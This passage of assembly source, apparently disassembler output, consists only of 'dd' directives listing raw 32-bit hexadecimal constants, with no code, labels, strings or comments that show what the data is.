		dd 0AEE46500h, 97D10185h, 5880A8B7h, 3C95BB4Eh,	5AC90442h
		dd 90ED7C89h, 400F70A8h, 801448h, 0BE969FC3h, 1F3BD382h
		dd 24253D3Eh, 4467444h,	0B7722E03h, 74A80AF0h, 0E04DB89h
		dd 0F30D7C8Bh, 9E2228C7h, 94D4E059h, 86F6800Bh,	0C38068B9h
		dd 9D8882F8h, 0F2AA127Fh, 8BC49B1Dh, 0E4A802EBh, 0F3A80149h
		dd 162085E8h, 98C37A9Eh, 3A604B77h, 3437EA8h, 0C32F4800h
		dd 42EA1B5h, 0A8127099h, 0ADE10A4h, 0AC50E3Eh, 0B2730088h
		dd 2AA705FEh, 0E56C21C1h, 3300B46h, 0C79000D0h,	0C3402C35h
		dd 6300BAB4h, 55E6783Ah, 9DCF1E4h, 9109D85h, 84DB5479h
		dd 0F1BF1660h, 344F7802h, 74FD5C89h, 0ED9104E0h, 0F1B48C88h
		dd 0BA59F660h, 0E464CE47h, 12D048D2h, 0C7E70500h, 923F0225h
		dd 418B6309h, 70D0DB1Ch, 0EA02997Fh, 5B71127Dh,	5750C05Ah
		dd 40AE4F24h, 1DC0A6D4h, 0E6001817h, 0DA662D59h, 0BEB76336h
		dd 0D08E471Ch, 7B64CA33h, 58512500h, 0D484B0Ah,	0B5D4176Ah
		dd 7A6420A8h, 6E007E04h, 463424D9h, 430B6Fh, 0EEB85467h
		dd 4EAC5B8Dh, 7D63C30Bh, 0C4B465EAh, 0B4466019h, 0D94E03AAh
		dd 0F0EFDA7Fh, 0FAEBF100h, 94E9A793h, 0B8B3E0D5h, 84DF03C8h
		dd 9C0736B2h, 0ED2F65E0h, 0F7BC3Ah, 9F271177h, 0B0D87FC9h
		dd 0F679038Ch, 17281B98h, 0CE3B4AB0h, 223CA412h, 87740802h
		dd 0D3304A77h, 0C92E7054h, 0EBC77101h, 0D502D84h, 39781F10h
		dd 3828EC00h, 7EF151C5h, 50840516h, 17752C1h, 0D458E7CCh
		dd 0E4D8301Eh, 0DAD03050h, 77791F0Bh, 914497EAh, 317D8318h
		dd 90F4F8F2h, 702504B9h, 84365887h, 721C98E4h, 1C38BF19h
		dd 546C2018h, 58C2EBCh,	0CB3E111h, 92C4E481h, 443A416h
		dd 7F149C1Fh, 4E98000Ch, 0DA153EFCh, 89841244h,	3898100Dh
		dd 0F8EEF015h, 0EBA0200h, 8C412368h, 9DBBA891h,	384DE4h
		dd 3E12F234h, 17A495B2h, 286C0EFh, 2F659C40h, 0E0251611h
		dd 4A75023h, 53E53004h,	0B6E10EFAh, 0AD027715h,	3050107Ch
		dd 3A881F44h, 78FC6898h, 12AB38F0h, 144FD901h, 43F85BCFh
		dd 0A753DCh, 8509B37h, 3652E4FBh, 0EB482F16h, 0F87B9400h
		dd 1F0C002h, 294333F7h,	0D12303E9h, 0C0E645EAh,	2F3A1DCh
		dd 28BFD433h, 1821402Bh, 49E663DBh, 80A01BCFh, 0DC021CA8h
		dd 7218A664h, 4480C744h, 902B60F4h, 9CEF54F1h, 31AA0196h
		dd 0E6A30CCBh, 0D820203Ch, 652520BEh, 60F5E428h, 1C7E8C8Eh
		dd 6CB7E91Dh, 47D40838h, 0D8C58A3Dh, 0EA02B825h, 7429840Ch
		dd 24467CD4h, 0FE9E000h, 95F015D7h, 3065B53Ah, 0EC1DD9F1h
		dd 44A1008Eh, 1AA9AE56h, 0DB057F1Ch, 0C57DD980h, 11E7A488h
		dd 64D5830Ch, 0C460D688h, 91243C40h, 5C7098D3h,	0E9400BBCh
		dd 0F88FF895h, 0C8B766A4h, 0A51B883Ch, 0E0F008F4h, 0A7329497h
		dd 60F1C4ACh, 0A09678B1h, 8020ACD0h, 7362CD86h,	0F285F6C9h
		dd 95880C10h, 0A2782D20h, 6390AF00h, 19014516h,	0E80249E7h
		dd 2BFB3300h, 9331D3EDh, 87DD5F04h, 28B80B4Ch, 1E8C15BCh
		dd 2211905h, 0CD9A5BA6h, 82A8B093h, 310FC4B2h, 5349747Dh
		dd 30D51092h, 391740C5h, 0A0CBDB91h, 40BD5D02h,	1CE1570Ah
		dd 5880158Bh, 0B9F3233Ch, 482DB88h, 0EB9618h, 17B61B8h
		dd 0F87D7C21h, 6D3400BAh, 1CFC2848h, 8C14E8h, 1899BC44h
		dd 31F4BEEAh, 787C2497h, 80CCCC52h, 7C59D300h, 426A10C8h
		dd 4F4B003h, 0B791C441h, 830EC23h, 82CD748Bh, 59066C95h
		dd 96D58C60h, 70006348h, 0C0909889h, 0E8B6D6BCh, 1E4796A0h
		dd 88DC5B05h, 4CB8697Ch, 4F2A9901h, 0E426E8CCh,	0E4A571FEh
		dd 0C06020E4h, 0A50B5256h, 686D1762h, 4A742A10h, 1CC416B9h
		dd 37956200h, 90B300F0h, 0D5394E8Ah, 0FA576302h, 0F841747Ch
		dd 5EF89C64h, 8D3A2246h, 0FE6A5482h, 0A0769CECh, 0CB575F40h
		dd 88D90092h, 0F32688Ah, 28259EE8h, 4B54C02Bh, 9B5B84h
		dd 444E955Ch, 5575E5B7h, 80966D00h, 1FB0980Bh, 24209B6Ch
		dd 0F54674F0h, 32F82C00h, 206BB8A4h, 0EC7814B8h, 245C2084h
		dd 0DAF4A606h, 7A46F279h, 48174F39h, 71692A64h,	18F759CCh
		dd 3B200498h, 0A4A8598Dh, 0EE0006ECh, 839AE34Ah, 0C18E21h
		dd 5E49A1B9h, 22DB4C8Ch, 90D4A32Fh, 0BFF20Ch, 9CB7B36Ah
		dd 4405768Fh, 0A464921Ch, 3BD38B40h, 0C0EE6BC7h, 0CC1FA679h
		dd 771FBE95h, 0EC004BB9h, 7AA2CACh, 56D7EE0h, 848ADC67h
		dd 613CB0CDh, 547CC803h, 0C71591A0h, 50D08299h,	0AB80A1Ah
		dd 81107D62h, 4CE51CC3h, 2768343Ch, 928DF48h, 9D181799h
		dd 872E9168h, 8B02EE8Eh, 48BD8D5Ch, 95777860h, 957080Fh
		dd 68A9DD78h, 0D770E05Bh, 41877072h, 88284E35h,	0AA07C0F2h
		dd 89019C0Dh, 0F6A27E95h, 20A7DE58h, 83C7386Dh,	0F61B1840h
		dd 0D0965A09h, 588EF0BCh, 0C2A81160h, 2027B49Dh, 20C01DF3h
		dd 78DEB50h, 7C891566h,	9313BCADh, 68440928h, 0DB3810B0h
		dd 4B8AC010h, 702FC2E1h, 50C0CAAEh, 4E02D8C4h, 85E40690h
		dd 78011CADh, 848EC80Bh, 7EF840A1h, 116D0068h, 2CD47729h
		dd 0C2EC8CFh, 0A130DCD0h, 73BA86C9h, 0FB5C0013h, 80B4F24Eh
		dd 0A6FAE1E9h, 84127F4Fh, 0A06FC8E0h, 5AF5C7A4h, 92145371h
		dd 5F30B768h, 87DC132Ah, 90CB5Ch, 7C2A683Fh, 0BFF645h
		dd 0CAB9D851h, 50C4DEB5h, 8440084Bh, 5FF5567h, 0EC96350Ah
		dd 0CA6402B1h, 785C657Ch, 0A9456700h, 92578413h, 2F930040h
		dd 681566C3h, 0D34EC263h, 0C099D423h, 1E2B90h, 0B720D883h
		dd 795AF79Eh, 0F90938B8h, 0F993B291h, 18F879C8h, 72D0026Eh
		dd 0F170CE59h, 9F1D6844h, 461DC874h, 672F5A82h,	0A9B28042h
		dd 3F3A0D77h, 0A0F2AB86h, 7B94E8A4h, 20CB9C8h, 4FA44B30h
		dd 0D81C94D0h, 19D8AD99h, 5ABF1820h, 8C3CC0E0h,	0AC4F6395h
		dd 110B03Bh, 0ED0CC004h, 876ED7h, 0E99A72AAh, 48389F1Ah
		dd 34888094h, 16E81012h, 0ACE3E791h, 88332FB2h,	292AEFEAh
		dd 2594980Ah, 429A5490h, 8E1BE001h, 0A863091Ah,	13805E0h
		dd 0E84C0E5Eh, 2E2DCCB6h, 4BE6C4Eh, 0D0A86D7Ch,	0CB76304h
		dd 0EB902082h, 0D4379F27h, 0AAC0131Eh, 67225ACh, 0BB5402CCh
		dd 57F7491h, 0E3EAC4D8h, 5017DF2Ch, 60B2008h, 80093850h
		dd 3D16B60h, 1754993Ch,	12204CB2h, 0C2A4DA0Ch, 40406077h
		dd 0AD6A61h, 3792A2FBh,	7C8AB775h, 0B017412Eh, 3712142h
		dd 8C209D3h, 0D1B7F4A0h, 0FD05C320h, 50490A31h,	0D08CB4h
		dd 0B7DC46DFh, 0B113AEA3h
		dd 39F37600h, 5BCD63BAh, 8C6C4EDDh, 0B8208790h,	7231913h
		dd 6AE7611Ch, 261F286Eh, 3D468142h, 2DF0D98Fh, 0E54014F0h
		dd 0A60D04C3h, 74B9CE5Fh, 0C8788B92h, 1BAC025h,	0F502DF26h
		dd 157044C6h, 40E0543Fh, 1060CFBh, 40AF8601h, 3B2C8766h
		dd 88088E04h, 271CC3F4h, 255D9EC0h, 0E8840758h,	0D60CE304h
		dd 0FEEEA5E6h, 665E2000h, 8C8B56F6h, 92F8A8E1h,	25F8B03Fh
		dd 509DFBB5h, 1812C91h,	2E545A98h, 2765B862h, 843041B3h
		dd 0F41F6A33h, 0A9C70F00h, 0A86902Bh, 256C8F18h, 89A30194h
		dd 2EBAB4F6h, 84DDB848h, 0AC9F7490h, 51047CB0h,	55A19ED0h
		dd 672FD4F3h, 0C0888860h, 0B4A31B78h, 0A7421007h, 0B7C0CD1Ch
		dd 4E5BBCFh, 0BF10FA91h, 3E28F860h, 537205E6h, 1CFCE186h
		dd 297C0A82h, 0B881DA89h, 82F3B76Ch, 215C2A50h,	275CE814h
		dd 587F7D05h, 2F7A2851h, 68686C63h, 0F0E686FEh,	204BD709h
		dd 8B00A430h, 0DC015CA8h, 80F6E7D5h, 221879F2h,	0DF65011Fh
		dd 20F8E6EDh, 4859F155h, 0E8998484h, 498C8802h,	13A4F2E9h
		dd 4F97E7Bh, 413183B0h,	0CECFA490h, 64803088h, 75680640h
		dd 81702E84h, 9CAD095Ch, 0C7003858h, 0A06EB988h, 0C79993Bh
		dd 0F11FDBB6h, 74041751h, 0FED2C8B7h, 0F3C86C8Eh, 571F64C2h
		dd 87B95805h, 8C31B0E5h, 21F9F056h, 0A2702340h,	0EC9B3014h
		dd 4F202814h, 327680E0h, 2955266h, 8F70632Ch, 85A21A0h
		dd 2412D027h, 0DA602DA0h, 702D62BDh, 803465D8h,	2CBDD1A9h
		dd 0CFE8096Bh, 10CC1E5Ch, 0C1161505h, 9B4457FDh, 74498024h
		dd 9972D3DDh, 886080B0h, 90D28CE8h, 599C8D00h, 362AEACh
		dd 69D5019Eh, 489B53B9h, 0A493CC80h, 5CC0B34Ah,	9772BF28h
		dd 0C580CC35h, 48633F52h, 8C694A17h, 0F62FE2ECh, 65D0988Bh
		dd 1155633Ah, 58F1C2FFh, 3194C450h, 0E4E9BD28h,	1849AF5Bh
		dd 0DC7C560Ch, 906BCF00h, 692E9921h, 6F15269Bh,	0C0609F74h
		dd 0F2A5CD06h, 1025AD85h, 0DBB05132h, 0F81B0482h, 253DCF4h
		dd 843315C5h, 0B8501105h, 0E0CF742Fh, 0FAE83ACh, 0BD88B723h
		dd 0C00DFF8Eh, 0F1A6E308h, 24DB19C5h, 2CACCCE9h, 0E599CCE1h
		dd 66CF0919h, 2068BD88h, 0AFA49B04h, 844CB8E8h,	94B30485h
		dd 3CC0E8B7h, 27130757h, 0B4485064h, 5A00BAF8h,	25FF274h
		dd 4D397D0h, 548C1C71h,	304CB2C0h, 945F310Bh, 99C500BCh
		dd 0ECBE93F4h, 0E00A958Bh, 0F81DF2CEh, 0C3581ADEh, 9452E064h
		dd 209F7008h, 0F99A091Eh, 0FC7B7C51h, 466CCB60h, 6930702Ch
		dd 9AA5F802h, 0ADD0D91Fh, 0EB068C02h, 2CD95051h, 0F04B3B18h
		dd 595D3844h, 0D410C0FEh, 0D060A585h, 0DDD8C269h, 2A030C4h
		dd 0B3496810h, 0C9AE760Ah, 0E890487Dh, 65A5E921h, 602F6470h
		dd 2F7BD8A7h, 44307DDFh, 69897781h, 1BA8086Ah, 4674B048h
		dd 0D75F1C04h, 0E309E080h, 95523CFh, 0E18AE69Ah, 0FE782071h
		dd 2F718603h, 0A8D8BE29h, 83150A81h, 122F4874h,	7EE03A60h
		dd 7728028Ch, 0C7E683F9h, 0BCAE8C3h, 0D4A9F104h, 1F7FB400h
		dd 0AC15BC9Dh, 0E340FB00h, 0CAA57E1Eh, 2008B857h, 0E21ADE17h
		dd 9109D87h, 697C72ACh,	0F4564958h, 7E4405DCh, 4028A888h
		dd 19159CE4h, 657822F1h, 32960700h, 0B2C175AAh,	908B62CDh
		dd 4D0BF7EBh, 0EE66C07Ch, 0B804C4C3h, 0F6F55C88h, 836C4B02h
		dd 0E503E0D0h, 7BA25F55h, 0F76F16Fh, 76A418Bh, 53820020h
		dd 0C00289B3h, 2F877F6Eh, 0A7A890F0h, 1D7A00ADh, 0A3D17340h
		dd 0C8956B8Bh, 71D524E4h, 0C6784Bh, 3A6F6328h, 0CABAB5ACh
		dd 0F23D91Eh, 0C4B67792h, 0B14DECE0h, 0B008D605h, 6CE37212h
		dd 53301FA2h, 48CB00FBh, 654F5F22h, 89600CBDh, 0A430FFF9h
		dd 2C429797h, 9A40C87Ch, 5B04061Bh, 0D9A48831h,	0F33D190Eh
		dd 97AA60A2h, 0E2ABB9h,	0B6DF11F4h, 2EDD03D2h, 0A6A3C702h
		dd 4B727D01h, 0EE1FB810h, 891512E0h, 1C28E2FFh,	0F35ED468h
		dd 0EC7EFA00h, 972CD3DBh, 0E0859401h, 3239E5C1h, 84602E10h
		dd 9385808h, 8CE69A0Ah,	0BC04B270h, 0F0B5747Ch,	20EC68F8h
		dd 0EA553A8Ch, 10EE9F01h, 22EC3374h, 0BDBC0920h, 91DD028Ah
		dd 0D1385915h, 7EC11924h, 0F61AD1F4h, 8D7A25DFh, 5000AC64h
		dd 13E2B8C6h, 58FE3075h, 0A6036197h, 0F1B33B33h, 489329DEh
		dd 2E4A0578h, 8B483ABh,	880FE543h, 4B68F584h, 2D232C2Bh
		dd 5096CF05h, 0D30004F9h, 0EC816B2Eh, 0D01D4EC2h, 5CC4E5BBh
		dd 10B4FF45h, 0C5563C98h, 88A8D203h, 8100AC54h,	0EB66078h
		dd 4CB4F679h, 2B160CB9h, 31B4E406h, 0F0911C40h,	5C20B6E9h
		dd 0FE071E46h, 0F0316E45h, 73935A5Bh, 9E0A6F14h, 0B87898A4h
		dd 0A14A01C7h, 87727F3Fh, 4BC2828h, 2448A588h, 2C67002h
		dd 0A9D8DC9Bh, 31039242h, 32016DD6h, 4F9B88DDh,	687E0953h
		dd 0D450DCB8h, 0B00C6B24h, 4EDBC986h, 26E3E0Ch,	1BB499Dh
		dd 9C06D6F7h, 0EDA47D94h, 13773FCh, 0DFDC287h, 7D6AD66Ch
		dd 0AE26037Ch, 0F07F7460h, 0ECA10711h, 0C24100CFh, 0A0B938EDh
		dd 320710DBh, 3F0B1C80h, 8B155070h, 335277Ch, 0F4C8B4ABh
		dd 68119788h, 0DA1C0F50h, 395280CAh, 0B77FBE09h, 8818F8F8h
		dd 8B5087CDh, 19113074h, 0AF7C0748h, 0E9125CB6h, 93AC88A9h
		dd 84F8393Fh, 3D9CBF70h, 1313A0BCh, 700A14A4h, 0D1A2BC00h
		dd 9DC20EFAh, 0A4A920B9h, 2018FCF9h, 7FE5C901h,	7E9D5BF3h
		dd 3B4C722Eh, 5F16EC72h, 1442D26Bh, 0D9619321h,	0ACE280C8h
		dd 22ADEC16h, 0A80EC900h, 21F4A402h, 0E7B10052h, 2ED95F93h
		dd 1212F348h, 50F25BFFh, 1D584BC8h, 1BCE26D4h, 292300DCh
		dd 28A742E8h, 0EFC81707h, 841EE719h, 50BCBF1Ah,	29B723C6h
		dd 20E80F34h, 2BBF1806h, 3333A49h, 6146A2Ch, 0E8694E8Dh
		dd 5C89270Bh, 78BC2081h, 0AB84B772h, 34A581C8h,	0C840017Fh
		dd 60895C28h, 1BB501BAh, 9D0A8054h, 6800F79Ch, 0A0749141h
		dd 0A587C517h, 4A6AACE4h, 0FFB490BFh, 0A0446B16h, 317C1D88h
		dd 446CA5F3h, 19820C15h, 359776B8h, 87F591E8h, 0FDC7BCE5h
		dd 5C27FE12h, 15A8636Ch, 80AE693Dh, 4C4129F3h, 19BE1DBh
		dd 0DEBCCB63h, 6C288F10h, 1EC21320h, 182579E8h,	34CD2C60h
		dd 97940B95h, 421B80Ch,	0F6EC6B80h, 984EB7Ch, 1B89548Bh
		dd 3569CC59h, 0B009809Ch, 0D26ECC29h, 18F495E4h, 5454EA90h
		dd 971310ECh, 50D73A2Ch, 0E22409F4h, 402B124h, 7A03F20Ch
		dd 0FE09270Fh, 7C199851h, 2610946Fh, 5E941118h,	0F4E3E420h
		dd 0AF28002Eh, 0EECCA96Dh, 5302C7E7h, 2DFC8925h, 0ED74C0C6h
		dd 34E89708h, 109AFE17h, 6DF3403h, 0CE9E87D8h, 0D0C09589h
		dd 35F37C93h, 7B5CC124h, 299BF440h, 16688808h, 88870D07h
		dd 172084E4h, 0F88E76F0h, 0B1A8D2A5h, 4C3E2EECh, 41001B23h
		dd 0A44AA8C8h, 7984258Bh, 0E46178E2h, 0E4226F2Bh, 6C710Ch
		dd 36A3620h, 991255B3h,	0F0F32D65h, 0A0BEF009h,	0E066D02Bh
		dd 0AE98F8C5h, 0AF805CE8h, 6B2F6CAh, 733DC0Eh, 0E94400AAh
		dd 94F01FC5h, 5E8D800Ch, 0EC4271D5h, 0CB49D900h, 246D2CC9h
		dd 0B58F0080h, 6396899Ch, 1E00D3C6h, 3AC39F7Eh,	0CB968h
		dd 51727DD0h, 95C86035h, 0D4A58617h, 372B88B1h,	0ECC421ACh
		dd 0CC223A2Ch, 0F8111F38h, 5951F80h, 0BC0B0F8Dh, 0A9838491h
		dd 44AC5934h, 0F4F23541h, 2030F4B2h, 299748Bh, 16E7EA5h
		dd 2357A796h, 0B8E6A258h, 9AC037h, 17CBCC5h, 71174088h
		dd 0B8C00754h, 86184900h
		dd 7D6839C1h, 58BA9DE6h, 0F379F0F1h, 8709E818h,	21304CCDh
		dd 2420B7E0h, 2409808h,	809F2770h, 95250072h, 32D042FCh
		dd 50147B40h, 563A3DE6h, 9F09129Ch, 0E5B8E490h,	2EC6FC85h
		dd 12108FB4h, 5BE8AC83h, 23F4C88h, 22430474h, 3CC0381Dh
		dd 6781FAF9h, 978A59C4h, 0D643C814h, 6C6A5Ah, 5962CEF5h
		dd 88105028h, 6EEE5A23h, 14F96600h, 1FDB54ACh, 793498B0h
		dd 0A47C8219h, 888D7643h, 36A079F2h, 49C216DFh,	0D8C0D834h
		dd 4C6EEBh, 0C9EB23Dh, 89BAA84h, 0E2CF6CDFh, 48817935h
		dd 7710127Fh, 860B7972h, 201C5495h, 0AEB6AC8h, 9B7D4B66h
		dd 5321C064h, 4AE8F64h,	9E01B0Eh, 6C3CB596h, 33EA8004h
		dd 38DA0C1Ah, 7C00DF8Ch, 0E05164B4h, 2A1C5B8Fh,	720941CAh
		dd 1740D143h, 0EF13F0F2h, 70B33C03h, 1FA5D79h, 0C4BEA31Ch
		dd 2E8F6354h, 60A2F824h, 1C3020F2h, 6372049Ah, 0C2E5CF55h
		dd 0CC56F050h, 0A82900BFh, 1F4C802Dh, 98900A9h,	9D591A8Fh
		dd 3A015618h, 7230F10Bh, 12F387Ah, 0EB912014h, 88A84E27h
		dd 607FC0F8h, 9E2599ABh, 9018D292h, 0F5A0Eh, 2A8159B4h
		dd 60D60B19h, 10DC508Bh, 11C0C004h, 96A93FAh, 957C894Dh
		dd 0E795A050h, 671A64CCh, 1091CD67h, 0ADC06F8Ah, 0D1284BBCh
		dd 465FA64h, 0F688548Eh, 0D6302DC0h, 3FB41D11h,	0F0E613C2h
		dd 0B84FBF99h, 2C7E14F0h, 74ACECD8h, 37011646h,	5CAD87C1h
		dd 5FB0800Ch, 6EC320D4h, 1C880F91h, 0A5C9010Bh,	0AF9030A8h
		dd 0F46064CDh, 461FEA2h, 78D830C7h, 10E4D475h, 9C16F0E0h
		dd 106C2114h, 95030722h, 418B6F4h, 69842AC7h, 792CC00Ch
		dd 9B268F74h, 3429C0B0h, 0FA18F7D1h, 87162B09h,	66B880CEh
		dd 0BC920A53h, 0D059A590h, 5CD18646h, 16C4780Ch, 8780B868h
		dd 0D2C471FCh, 9C0C098h, 0B3913840h, 588088E5h,	7DDF40B8h
		dd 0A5F1008Ah, 56369D92h, 2F5D8493h, 5A3A76BCh,	42E603D2h
		dd 889F668h, 726F0371h,	723465Eh, 531D6420h, 188E9A51h
		dd 4F188076h, 61276109h, 43E3DE00h, 94F26FB7h, 688D008Ch
		dd 0AEECB24Dh, 0F1123A3Ch, 0F8B80E73h, 0F6A210B3h, 16B48F01h
		dd 62CF0A00h, 3B135898h, 68F3157Dh, 0C73021A2h,	6C1B007Ah
		dd 0D4772860h, 21C029A6h, 5E081D70h, 1B6F00D1h,	0FBE647C6h
		dd 0A20B22F7h, 986D298Dh, 1907AECh, 2206F6Eh, 0D04195E4h
		dd 32E865D5h, 0D8C26A05h, 0C1A835h, 0C1A72578h,	7202DCD1h
		dd 5E2104BFh, 30517284h, 6181559h, 9112D472h, 30E01F74h
		dd 0B40B4A6Ah, 885872C4h, 8130FFFh, 0FA3E6085h,	539122F8h
		dd 1AE23C0Ch, 267130h, 97C7BD69h, 31F0A586h, 3A97C490h
		dd 0D480F680h, 160A7200h, 0C0921F19h, 6011629Fh, 0D1002114h
		dd 0B5CD9A7Ch, 30FC0C4Ah, 2769FEDCh, 0C8C40A8Ch, 4CB890F3h
		dd 4010A812h, 697CF70Ch, 9BE613C3h, 10AC7A5Ch, 6A11E61Bh
		dd 9F0A14D6h, 45680024h, 0C7D3269Ch, 0F6180C4Eh, 5629048Eh
		dd 5194A100h, 0E3D7FDECh, 58990F2Eh, 1B808CA8h,	0E09585DCh
		dd 3E30265Dh, 0E0792F32h, 26D8FC70h, 1C30203Fh,	0E5503004h
		dd 0E032955h, 0F0D0510Dh, 0ECD49C9Eh, 1A8190B8h, 8F1A7A4h
		dd 86F62D78h, 9DA89CCBh, 728023D4h, 27D03297h, 7D2040h
		dd 41932170h, 0FA9127E6h, 500BCF9h, 86C07B16h, 8E300003h
		dd 0A491241Ah, 0E495E01Fh, 8B38025Ch, 17FCD15Ch, 6838187Fh
		dd 0F0C13E51h, 9D85DA83h, 804A0E04h, 6021C020h,	0D223DD2h
		dd 0C3159300h, 0CEED87Dh, 0BCF3894Eh, 0FD974103h, 104C446Ah
		dd 0E1D625F8h, 0E18009ACh, 0D3BDC721h, 1CA87EA7h, 0E84EF671h
		dd 8023D0B0h, 9C209508h, 0CC71703h, 0F2FC258Ch,	37B50040h
		dd 88CC6973h, 2C94F74h,	636A79C4h, 38048655h, 0B28A5AC1h
		dd 8C9B096Ch, 42785EF7h, 7020E795h, 0C315FC97h,	0F2F09880h
		dd 0DF8190Eh, 7D0EA9BBh, 5D06D880h, 0A6047EA4h,	5063AEB7h
		dd 138EDC88h, 1241A754h, 0E0F8B688h, 2CC13953h,	1154AC75h
		dd 7C8A0506h, 0DC48EB49h, 645D80F3h, 21D1D3C9h,	0D2A5A20Eh
		dd 59029FDh, 48288C0h, 76C4C429h, 0EC718228h, 0B7D8A780h
		dd 48E80A07h, 6B1F56A3h, 0DEA00B7Bh, 0C05CC56h,	0BC222E81h
		dd 802F24F8h, 5F0E6045h, 770ED8FAh, 42FB3A89h, 0E036ECD0h
		dd 9704A0EBh, 61C040EDh, 17AC62Eh, 0F453C0ACh, 7C3FA492h
		dd 867F1CE8h, 946A9F13h, 5C071423h, 7270983Dh, 0A9247C9Fh
		dd 2510128Ch, 32003999h, 0F5617F2Ch, 0CBB9C330h, 0E4F10341h
		dd 6B18F679h, 2FA0F400h, 0F2BA6FE4h, 0D9CE02AEh, 0E7FE6C38h
		dd 5B4A40DAh, 0A3DFAC8Bh, 7FE68607h, 613B2242h,	0C711F57Ch
		dd 74326Ah, 8E59B39Dh, 13ADC8ACh, 0C8900BE2h, 0DF414FF4h
		dd 1931A441h, 0E5569900h, 0DA2D421Fh, 2CAC7B25h, 2C465C54h
		dd 9C196903h, 6800E953h, 72DA85D3h, 0CAD8FE1Ch,	4E888608h
		dd 2B371099h, 22C8208Bh, 36B8B4C1h, 7800F7Eh, 0FC0C09F3h
		dd 2364A867h, 49117260h, 0BD213A04h, 78F2FE0Fh,	9830AE00h
		dd 0E97570B3h, 330A2F04h, 0CE8A44Fh, 0E2B20A2h,	252208A0h
		dd 9807D879h, 403E3556h, 818C8ECFh, 93B0DCB4h, 73F8A376h
		dd 0A7636616h, 6E4C8420h, 6DA4008Fh, 7EC1565Dh,	3A3D5C72h
		dd 5A573893h, 0D890042h, 1C331018h, 18B59D84h, 9BDE020Ah
		dd 5C88092Dh, 2F253BCh,	4D7C0801h, 2F787CE7h, 0BCCE7DA6h
		dd 9E98172h, 23102B7Fh,	0CDDF0024h, 0E28EAE73h,	4C6A1609h
		dd 70245B78h, 3A039B3Bh, 0A7A27E97h, 5B73A0AEh,	0EBF92D7Fh
		dd 46008859h, 0E95849F3h, 392E16CBh, 29000225h,	345E675Ah
		dd 1402BD88h, 3964F4F6h, 0D608BD9Bh, 0C0A974BDh, 59123A3Bh
		dd 0B0BC3167h, 0B800B993h, 0C8564E59h, 0A600B530h, 3FC8B177h
		dd 38B20Ch, 0C3EE7869h,	87068A5h, 6771E32Dh, 60184408h
		dd 196BB51h, 32DF753Ah,	72BF7239h, 171F0BE8h, 8701067h
		dd 1FD1084h, 0FA2218h, 2E656CDBh, 0E21B63BBh, 0E5C55900h
		dd 777B152Ah, 50420296h, 0D0CF7943h, 0E600C88Fh, 837F9A55h
		dd 933C0307h, 5C49579Ch, 0D606DC84h, 2D8F981Ch,	152825B8h
		dd 0F681745Bh, 6C91B5B4h, 1FFC487Ch, 7CB20F8Ch,	0E0003F64h
		dd 6ACED4CAh, 92003C91h, 9452E911h, 0FE34079Fh,	0C936F10Bh
		dd 0F6F47CF6h, 90B90497h, 0AF1254B1h, 64A6B830h, 0C5D412ADh
		dd 270E244h, 0B588CD6Ah, 989A5767h, 0F4792451h,	0DA2EA918h
		dd 0A24160EFh, 0EE48EC9h, 4A8D0125h, 163A4440h,	0E2B84D70h
		dd 0C5699C5Ch, 6015E4E8h, 0C6828A6h, 92B8493h, 854FE348h
		dd 0D85770A2h, 6707909h, 0FC11909Dh, 0C0C64880h, 0F205CF13h
		dd 0CE41AB05h, 4A63B083h, 0BE8E678h, 21EB7491h,	1C418A14h
		dd 4BCE86Ch, 5AA0CE3h, 5EBCF4Eh, 3D1A810Ah, 0F087040h
		dd 2F709200h, 55E5B968h, 0D2E0EE3h, 2A21C2D0h, 40C16F6Ah
		dd 890B4CD8h, 89C55C27h, 607C5CC8h, 0F1518C8Ah,	700048B0h
		dd 3FE7365Bh, 0E33868h,	0D7351C12h, 0E86F06C6h,	78F31E4Ah
		dd 44792F27h, 20D8960Fh, 0C476E68Ah, 77F7989h, 9AE86957h
		dd 2784427Bh, 0EA5A50D0h, 0C8167C6Bh, 0D8B2AFh,	5C879FE1h
		dd 1473E486h, 8801F37Fh, 6FB9EB09h, 50EDE032h, 3BEF43C0h
		dd 37ECF3F0h, 7C110B60h, 0A0A1F423h, 0BE95Ch, 9B8CD79h
		dd 872E9B3Eh, 1745307Eh, 0F6EC5CF8h, 39A8008Ch,	328FFCA2h
		dd 81276D77h, 18E0495Ch, 6EF8CD3Ah, 901746Eh, 938490F0h
		dd 6A582002h, 0D3B1DB6Bh
		dd 112070A4h, 90B54104h, 3AAF67F0h, 0FC6BF568h,	10F54100h
		dd 7B265496h, 48E2B07Fh, 0F78427h, 0CCFFD3C0h, 8E1B764h
		dd 4CC76C6h, 5486F61Bh,	0BC975244h, 0EDA6A30Ch,	238C3BEBh
		dd 9D60716h, 346C6286h,	0AE27854h, 0F8117794h, 0D0822A5Dh
		dd 76C8DC2Ah, 80040121h, 0AE137C7Eh, 1A062022h,	5E0A586h
		dd 301A9750h, 84B7D7h, 6506D8D5h, 929FA61Fh, 67744068h
		dd 0F8040149h, 6B14C632h, 8139BEEDh, 4ED340BDh,	0DC83119h
		dd 0B87F03F7h, 9D931178h, 44C2A4E0h, 0B44CE495h, 2E465EFCh
		dd 807F7402h, 10D730D4h, 39FB00h, 5E870637h, 0DE781C0Bh
		dd 66281B00h, 0B7673A94h, 911F34E3h, 0F22CB214h, 8A2B30F2h
		dd 2A9741Ch, 7B0B5DC9h,	181B7990h, 0FA601E8Dh, 0BC7C9269h
		dd 61938298h, 4B585E89h, 0A0F66C62h, 1748C625h,	0BCB6EA78h
		dd 0C8E0807Ch, 9DDC818Ah, 21C450E7h, 698FA960h,	0AA464F13h
		dd 0F38030F8h, 0C02797E3h, 0F7DDFD0Fh, 5E9CE9ADh, 9588616Ch
		dd 0E4842A8Ch, 0E56C1FAEh, 7B8038B5h, 465436D6h, 0ABA814CFh
		dd 0B67680CBh, 8C0A02F0h, 0ECC80975h, 944A23B7h, 2F5E90F3h
		dd 1623B4h, 0C3215F73h,	8727D405h, 107CA09Eh, 0B61D9097h
		dd 8F7084E8h, 1F2CE03Ch, 54A57E00h, 652D99B4h, 0F2301DF4h
		dd 98EAE5E2h, 8549D5Fh,	9B6003FBh, 4B74BEF2h, 2FB4DD21h
		dd 28008C6Eh, 0CC26EA10h, 3104F590h, 2F8B3698h,	108E8894h
		dd 30C0FB88h, 0E62D71Ah, 4DFE39ECh, 0FF21A82Ch,	0B9BFDD07h
		dd 0DD024EDh, 899405h, 0BAB8DCBCh, 70C4D096h, 8CB274Bh
		dd 0FCB8D44Ch, 3321018Ch, 0CF481967h, 5351F8AFh, 1390C33Eh
		dd 58E872C8h, 7D848939h, 0AE070D74h, 2223E03Bh,	3B41CB00h
